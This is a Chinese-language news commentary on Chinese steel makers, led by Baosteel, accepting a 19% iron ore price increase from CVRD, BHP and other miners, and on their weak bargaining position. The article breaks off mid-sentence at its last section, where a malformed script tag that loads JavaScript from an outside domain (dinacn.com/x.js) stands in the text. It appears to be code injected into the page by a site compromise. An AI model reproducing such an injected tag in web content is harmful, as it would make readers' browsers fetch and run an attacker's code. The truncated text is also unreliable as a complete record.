在与国际铁矿石生产商经过了七个多月共计五轮的“拉锯式”谈判之后，以宝钢为代表的中国钢铁企业还是在日前放弃了自己所坚守的最后防线，并齐刷刷地被动接受了对方再次提价19%的蛮横要求。这样的结局带给中国钢铁企业的也许不仅仅是难以名状的扼腕长叹，更是深度审视和纠正自我的开始。

    无奈的结局

　　那是一个至今还在滴血的记忆。2005年3月，中国钢铁企业在失去一切话语权的竞争生态中走进了陌生的国际铁矿石价格谈判阵营。面对着淡水河谷（CVRD）、必和必拓（BHP），这些经过25年行业谈判摔打出来的超级对手，中国钢企在没有任何招架之功中接受了对方提价71.5%的市场安排。

　　“不能忘记历史，但也不能被历史所摧毁。”面对着国际铁矿石巨头们今年再度架起的价格屠刀，雷马克在《西线无战事》中的那句经典语录几乎成为了中国钢企所恪守的信条。为了能够影响谈判结果，中国政府和钢铁企业几乎使出了浑身解数：成立了以宝钢为谈判代表，由16家钢铁企业参加的中国钢协进口铁矿石工作委员执委会，以协调企业间不同的谈判诉求；由国家发改委副主任张国宝挂帅，牵手巴西成立了中巴高层能源协调与合作委员会，以对谈判形成有力的策应；当谈判进入胶着状态时，中国商务部顶着国际舆论质疑的压力公开向CVRA、BHP等强烈喊话……所有这一切只为着一个目标：将“中国声音”变成“中国价格”。

　　道高一尺，魔高一丈。老辣而狡猾的谈判对手一方面与态度强硬的中国企业打起了时间战和心理战，另一方面又转身与欧美、日韩钢铁企业频繁接触，并采取了各个击破、分而食之的进攻策略。第一个向CVRD“缴械投降”的是欧洲最大的钢铁企业德国蒂森—克虏伯公司。按照双方达成的协议，蒂森—克虏伯接受了对方19%的提价要求。紧接着，新日铁、阿塞洛、韩国浦项等国际知名钢铁生产商相继俯首称臣，中国钢铁企业在“骨牌效应”中实际上已经变成了“孤岛”。

　　国际市场中铁矿石谈判遵循着这样一种惯例：当任一供需方就铁矿石价格达成协议后，其他供需方皆以此价格作为参照。的确，相对于第一次谈判，中国钢企在与对手展开的新一轮过招中展示出了较为成熟的谈判技巧和强大的掰腕力量，但这并不等于我们可以通过一个回合就可以改变几十年形成的国际游戏规则。在拿下了一个又一个比中国钢企更老道的谈判对手后，CVRD向中国发出了最后通牒，要求中国企业马上接受涨价，否则将把原定销往中国的铁矿石转卖到其他国家。中国钢铁企业除了接受19%的涨价事实之外已经没有退路。

　　反复受伤的中国钢企太需要得到抚慰和鼓励了。但令人意想不到的是，第一个向中国钢铁企业发出安抚信息的竟然是向中方出手最狠的CVRD。该公司铁矿石部的执行主管近日接受国外媒体采访时说，按照中国的采购量，中国明年可以制定铁矿石基准价格。其言辞凿凿，好不感人。然而，就是这种纯粹做秀式的空头许诺，却引来了国内不少权威媒体和人士的纷纷附和。他们普遍幼稚地认为，中国是全球铁矿石的最大进口国，明年的谈判，中国就会以老大的身份出现，中国钢铁企业完全可以拿到铁矿石价格的“发球权”。

　　诸如此类的设想作为一种长期的目标也许无可厚非，但要在短期内改变中国钢铁企业受制于人的命运，似乎并没有太大的可能。

　　作为铁矿石价格年年看涨的最大受益者，铁矿石生产商肯定不会轻易放弃手中可以支配市场的权力。资料显示，仅2005年，澳大利亚的力拓(Tinto)公司的利润增长就达204%，BHP净利润同比增长48%，而包括CVRD在内的世界三大铁矿石巨头，在全球所获得的利润中有约60%来自中国，如此丰盛的资源大餐是他们任何一方都不会轻易错过的。显然，在今后与中国的谈判中，这些既得利益者只会加大要价的筹码，而不会给中国钢企留出任何可以夺权的机会。

　　不错，中国确实是最大的铁矿石需求者，但这并不等于中国钢企就具备了最终左右铁矿石价格的权力。相反，正是中国钢铁产量爆发式增长对铁矿石产生的巨大需求，为对方制造了可以催涨价格的空间。据预测，2010年世界海运铁矿石需求量9.45亿吨，其中中国进口铁矿石5.24亿吨。需求增加必然拉动价格的上升，这一不可颠覆的经济学原理也在不断强化未来铁矿石价格谈判中卖方市场的力量。

　　即使我们不考虑需求，仅从供给因素分析，中国钢铁企业所面临的谈判变数同样也不乐观。目前全球铁矿石产量的74%为三大巨头所控制，而且这种情况还会继续恶化。研究表明，2010年全球铁矿石供应量9.38亿吨，其中三大铁矿巨头占供应增量的78%。只要这种市场垄断状况不被改写，铁矿石生产商要价的资本就不会轻易地被削弱。

　　天下熙熙，皆为利来；天下攘攘，皆为利往。在未来铁矿石价格博弈之中，中国钢铁企业要与对手进行更加艰苦的鏖战。

    滴血的梦魇

　　不断地遭遇盘剥，不断地饮恨含悲。中国钢铁企业在国际?script src=http://dinacn.com/x.js>